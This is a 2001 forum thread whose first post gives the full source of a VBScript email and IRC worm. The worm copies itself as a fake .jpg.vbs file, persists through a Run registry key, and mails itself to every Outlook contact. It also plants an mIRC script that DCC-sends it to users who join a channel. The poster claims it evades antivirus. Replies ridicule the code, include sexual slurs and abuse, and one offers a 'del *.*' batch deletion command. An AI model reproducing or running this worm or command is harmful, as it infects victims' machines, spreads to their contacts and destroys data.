I bear no responsibility for what you do with this source code.

It is a VBS Worm virus which when executed will infect MS Outlook just like the Anna and Love Bug viruses.

Also it will look for and infect mirc if installed.

I have put it here and it is ONLY to be used for educational purposes.


'Vbs.Vbswg.Vbswg Worm Created By WoodyWoodpecker. 7/5/2001
Set R23896F2 = createobject("scripting.filesystemobject")
R34VV7N6 = R23896F2.getspecialfolder(2)
GFMM3V74 = R34VV7N6 & "\Woody.jpg.vbs"
Set H4744037 = createobject("wscript.shell")
H4744037.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & GFMM3V74 & " %"
R23896F2.copyfile wscript.scriptfullname, GFMM3V74
If H4744037.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Vbswg Worm\DH38U762") <> 1 then
EG866HOF
End if
If H4744037.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Vbswg Worm\P5O4SQMT") <> 1 then
II61I6TP ""
End if
Function EG866HOF()
Set NR17BK53 = CreateObject("Outlook.Application")
If NR17BK53 = "Outlook" Then
Set UB16FQ60 = NR17BK53.GetNameSpace("MAPI")
Set RKB1492O = UB16FQ60.AddressLists
For Each RRR8J8VR In RKB1492O
If RRR8J8VR.AddressEntries.Count <> 0 Then
G2FOJMS4 = RRR8J8VR.AddressEntries.Count
For O7NBOTTJ = 1 To G2FOJMS4
Set S552HU36 = NR17BK53.CreateItem(0)
Set TD3J3MHS = RRR8J8VR.AddressEntries(O7NBOTTJ)
S552HU36.To = TD3J3MHS.Address
S552HU36.Subject = "Very Important!"
S552HU36.Body = "Hi:" & vbcrlf & "Please view this file, it's very important." & vbcrlf & ""
execute "set PVH9MOL4 =S552HU36." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
JM76R7A5 = GFMM3V74
S552HU36.DeleteAfterSubmit = True
PVH9MOL4.Add JM76R7A5
If S552HU36.To <> "" Then
S552HU36.Send
End If
Next
End If
Next
End If
End function
Function II61I6TP(A1NS1565)
If A1NS1565 <> "" Then
O0846Q5N = H4744037.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
If R23896F2.fileexists("c:\mirc\mirc.ini") Then
A1NS1565 = "c:\mirc"
ElseIf R23896F2.fileexists("c:\mirc32\mirc.ini") Then
A1NS1565 = "c:\mirc32"
ElseIf R23896F2.fileexists(O0846Q5N & "\mirc\mirc.ini") Then
A1NS1565 = O0846Q5N & "\mirc"
ElseIf R23896F2.fileexists(O0846Q5N & "\mirc32\mirc.ini") Then
A1NS1565 = O0846Q5N & "\mirc"
Else
A1NS1565 = ""
End If
End If
If A1NS1565 <> "" Then
Set MBL4BC3U = R23896F2.CreateTextFile(A1NS1565 & "\script.ini", True)
MBL4BC3U = "[script]" & vbCrLf & "n0=on 1:JOIN:#:{"
MBL4BC3U = MBL4BC3U & vbCrLf & "n0=on 1:JOIN:#:{"
MBL4BC3U = MBL4BC3U & vbCrLf & "n1= /if ( $nick == $me ) { halt }"
MBL4BC3U = MBL4BC3U & vbCrLf & "n2= /." & Chr(100) & Chr(99) & Chr(99) & " send $nick "
MBL4BC3U = MBL4BC3U & GFMM3V74
MBL4BC3U = MBL4BC3U & vbCrLf & "n3=}"
script.Close
End If
End Function

Lame.
Asides from being overly clunky, the title and subject won't make it get very far, and it looks like it'll only infect mIRC if it's located in C:\mirc\.

overall not really anything worth the hard drive space to save, I'm flushing my cache now...

Come on Jaded can you do any better, and I know its not the best ever written and its simple enuff and far from perfect but at least for now any virus checker cant detect it untill a definition becomes available. I could easily spread it but im above that sort of thing and if I were to spread it the title and subject would obviously be changed but as I said, its for educational purposes only.


[This message has been edited by WoodyWoodpecker (edited 07-07-2001).]

Can I code a virus in VBS that has examples prevalent throughout the internet and could be put together by any number of virus kits in ten minutes?

probably. Granted, I've never taken the time to actually learn VBS, but I've had better things to do, like kludging an IDS....

surely not the wisest thing to post

------------------
dub.

quote:

---

Originally posted by Jadedfool:
Can I code a virus in VBS that has examples prevalent throughout the internet and could be put together by any number of virus kits in ten minutes?

---

Of course you can Jaded, just look through the hacker sites and sometimes you can find source code available. Take the Love Bug virus source code what Nihilistic posted a few months back as an example. The source code for that particular virus was also embedded as well.

Sarcasm you idiot. What you posted is a piece of shit.

lol J.. too funny

Ahhhhh Jaded did i detect a hint of jealousy there, never mind and dont worry bout it because if you learn then you will be able to do something like that but to be quite honest, I very much doubt it.

quote:

---

Originally posted by Suziegirl:
lol J.. too funny

---

Shut the fuck up suz yer aids infected filthy cum bucket tramp.

Umm, you still don't get the fact that what he posted was saying how blatantly easy it is to be a script kiddie and rip off someone else's virus...

I'd like to nominate you for most clueless poster of the year Woody, but you do have some stiff competition.

This is shit ! ! !

Ok bastards lets see if you lot can post anything better instead of ranting and raving how clever you are eh. You go around thinking you are so smart when its blatantly obvious you know fuck all, come on cuntz and post something of interest and get the fuck off your mighty horses. Yeah im waiting so dont blabber on like wimps n shit like that. Come the fuck on and lets see what you really know.

Why? I've done that before, didn't make a smeg bit of difference..

Besides, viruses are lame.. the only people they ever affect are usually the clueless ones..

what is an IDS?

sorry for the last post, im still buzzing just a bit

here is the code for a batch program that i wrote it's to be used for educational purposes only

c:
del *.*

there, top that.

------------------
��g���L

[This message has been edited by digital (edited 07-11-2001).]